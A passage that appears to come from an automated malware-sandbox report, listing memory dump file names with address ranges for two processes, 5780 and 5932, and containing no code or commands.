                              memory/5780-687-0x0000000003EC0000-0x0000000003ED4000-memory.dmp

                              memory/5780-677-0x00000000036E0000-0x0000000003EBD000-memory.dmp

                              memory/5780-674-0x00000000036E0000-0x0000000003EBD000-memory.dmp

                              memory/5780-741-0x00000000036E0000-0x0000000003EBD000-memory.dmp

                              memory/5780-672-0x00000000015D0000-0x00000000015D1000-memory.dmp

                              memory/5780-670-0x00000000036E0000-0x0000000003EBD000-memory.dmp

                              memory/5780-666-0x00000000751A0000-0x00000000758EA000-memory.dmp

                              memory/5780-665-0x0000000001010000-0x0000000001011000-memory.dmp

                              memory/5932-589-0x0000025E8C030000-0x0000025E8C907000-memory.dmp

                              memory/5932-577-0x00007FF9F6C90000-0x00007FF9F71AE000-memory.dmp

                              memory/5932-580-0x0000025E8C030000-0x0000025E8C907000-memory.dmp

                              memory/5932-590-0x0000025E8C030000-0x0000025E8C907000-memory.dmp

                              memory/5932-593-0x00007FFA13570000-0x00007FFA13572000-memory.dmp

                              memory/5932-591-0x0000025E8C030000-0x0000025E8C907000-memory.dmp

                              memory/5932-584-0x00007FFA13580000-0x00007FFA13582000-memory.dmp

                              memory/5932-585-0x0000025E8C030000-0x0000025E8C907000-memory.dmp

                              memory/5932-592-0x0000025E8C030000-0x0000025E8C907000-memory.dmp